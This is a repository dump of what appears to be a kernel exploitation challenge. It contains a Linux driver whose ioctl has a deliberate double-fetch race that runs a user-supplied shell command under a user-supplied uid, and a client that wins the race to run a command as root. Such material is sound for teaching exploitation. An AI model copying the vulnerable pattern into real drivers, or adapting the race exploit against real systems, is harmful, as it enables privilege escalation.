├── README.md └── episode1 ├── driver ├── .gitignore ├── Makefile └── shell.c └── client └── client.c /README.md: -------------------------------------------------------------------------------- 1 | # kernel_challenges 2 | -------------------------------------------------------------------------------- /episode1/driver/.gitignore: -------------------------------------------------------------------------------- 1 | # SPDX-License-Identifier: GPL-2.0 2 | *.cmd 3 | *.ko 4 | *.mod.* 5 | *.o 6 | Module.symvers 7 | modules.order 8 | shell.mod 9 | -------------------------------------------------------------------------------- /episode1/driver/Makefile: -------------------------------------------------------------------------------- 1 | # SPDX-License-Identifier: GPL-2.0 2 | obj-m += shell.o 3 | 4 | KERNELVER ?= $(shell uname -r) 5 | KERNELDIR ?= /lib/modules/$(KERNELVER)/build 6 | PWD := $(shell pwd) 7 | 8 | modules: 9 | $(MAKE) -C $(KERNELDIR) M=$(PWD) modules 10 | 11 | clean: 12 | $(MAKE) -C $(KERNELDIR) M=$(PWD) clean 13 | -------------------------------------------------------------------------------- /episode1/client/client.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | 15 | #define IOCTL_DRIVER_NAME "/dev/shell" 16 | 17 | int finish = 0; 18 | 19 | typedef struct user_data { 20 | int uid; 21 | char cmd[100]; 22 | } user_data; 23 | 24 | void change_uid_root(void *s) 25 | { 26 | user_data *s1 = s; 27 | 28 | while (finish == 0) 29 | s1->uid = 0; 30 | } 31 | 32 | int main(void) 33 | { 34 | pthread_t thread_one; 35 | user_data udat; 36 | 37 | int fd = open(IOCTL_DRIVER_NAME, O_RDWR); 38 | 39 | if (fd == -1) 40 | exit(EXIT_FAILURE); 41 | 42 | memset(udat.cmd, 0, 100); 43 | 44 | udat.uid = 1000; 45 | 46 | strcpy(udat.cmd, "echo 'foo' > /tmp/hacker"); 47 | 48 | pthread_create(&thread_one, NULL, change_uid_root, &udat); 49 | 50 | for (int i = 0; i < 100; i++) { 51 | ioctl(fd, 0, &udat); 52 | udat.uid = 1000; 53 | } 54 | 55 | finish = 1; 56 | pthread_join(thread_one, NULL); 57 | 58 | printf("finished\n"); 59 | 60 | close(fd); 61 | 62 | return EXIT_SUCCESS; 63 | } 64 | -------------------------------------------------------------------------------- /episode1/driver/shell.c: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: GPL-2.0 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | 15 | struct user_data { 16 | int uid; 17 | char cmd[100]; 18 | }; 19 | 20 | int real_uid; 21 | 22 | int alter_uid_gid(uid_t uid, gid_t gid, struct cred *new) 23 | { 24 | new->uid = new->euid = new->suid = new->fsuid = KUIDT_INIT(uid); 25 | new->gid = new->egid = new->sgid = new->fsgid = KGIDT_INIT(gid); 26 | return 0; 27 | } 28 | 29 | static int init_func(struct subprocess_info *info, struct cred *new) 30 | { 31 | alter_uid_gid(real_uid, real_uid, new); 32 | return 0; 33 | } 34 | 35 | 36 | static void free_argv(struct subprocess_info *info) 37 | { 38 | kfree(info->argv); 39 | } 40 | 41 | static long shell_ioctl(struct file *f, unsigned int cmd, unsigned long arg) 42 | { 43 | struct miscdevice *misc = f->private_data; 44 | struct device *dev = misc->this_device; 45 | struct user_data udat; 46 | kuid_t kernel_uid = current_uid(); 47 | 48 | memset(udat.cmd, 0, sizeof(udat.cmd)); 49 | 50 | if (raw_copy_from_user(&udat.uid, (void *)arg, sizeof(udat.uid))) 51 | return -EFAULT; 52 | 53 | dev_info(dev, "CHECKING VALIDITY OF UID: %d\n", udat.uid); 54 | if (udat.uid == kernel_uid.val) { 55 | int rc; 56 | struct subprocess_info *sub_info; 57 | char **argv; 58 | static char *envp[] = { 59 | "HOME=/", 60 | "TERM=linux", 61 | "PATH=/sbin:/usr/sbin:/bin:/usr/bin", 62 | NULL 63 | }; 64 | 65 | dev_info(dev, "UID: %d EQUALS %d\n", udat.uid, kernel_uid.val); 66 | 67 | usleep_range(1000000, 1000001); 68 | 69 | argv = kmalloc(sizeof(char *[4]), GFP_KERNEL); 70 | 71 | if (!argv) 72 | return -ENOMEM; 73 | 74 | memset(&udat, 0, sizeof(udat)); 75 | 76 | if (raw_copy_from_user(&udat, (void *)arg, sizeof(udat))) 77 | return -EFAULT; 78 | 79 | real_uid = udat.uid; 80 | 81 | argv[0] = "/bin/sh"; 82 | argv[1] = "-c"; 83 | argv[2] = udat.cmd; 84 | argv[3] = NULL; 85 | 86 | 87 | dev_info(dev, "CMD = %s\n", argv[2]); 88 | 89 | sub_info = call_usermodehelper_setup(argv[0], argv, envp, GFP_KERNEL, init_func, free_argv, NULL); 90 | 91 | if (sub_info == NULL) { 92 | kfree(argv); 93 | return -ENOMEM; 94 | } 95 | 96 | rc = call_usermodehelper_exec(sub_info, UMH_WAIT_PROC); 97 | 98 | dev_info(dev, "RC = %d\n", rc); 99 | return rc; 100 | } 101 | 102 | return 0; 103 | } 104 | 105 | static struct file_operations query_fops = { 106 | .owner = THIS_MODULE, 107 | .unlocked_ioctl = shell_ioctl 108 | }; 109 | 110 | static struct miscdevice shell_ioctl_misc = { 111 | .name = "shell_ioctl", 112 | .fops = &query_fops, 113 | .minor = MISC_DYNAMIC_MINOR, 114 | }; 115 | 116 | module_misc_device(shell_ioctl_misc); 117 | 118 | MODULE_LICENSE("GPL"); 119 | MODULE_AUTHOR("Jordy Zomer "); 120 | MODULE_DESCRIPTION("IOCTL shell driver"); 121 | MODULE_VERSION("0.1"); 122 | --------------------------------------------------------------------------------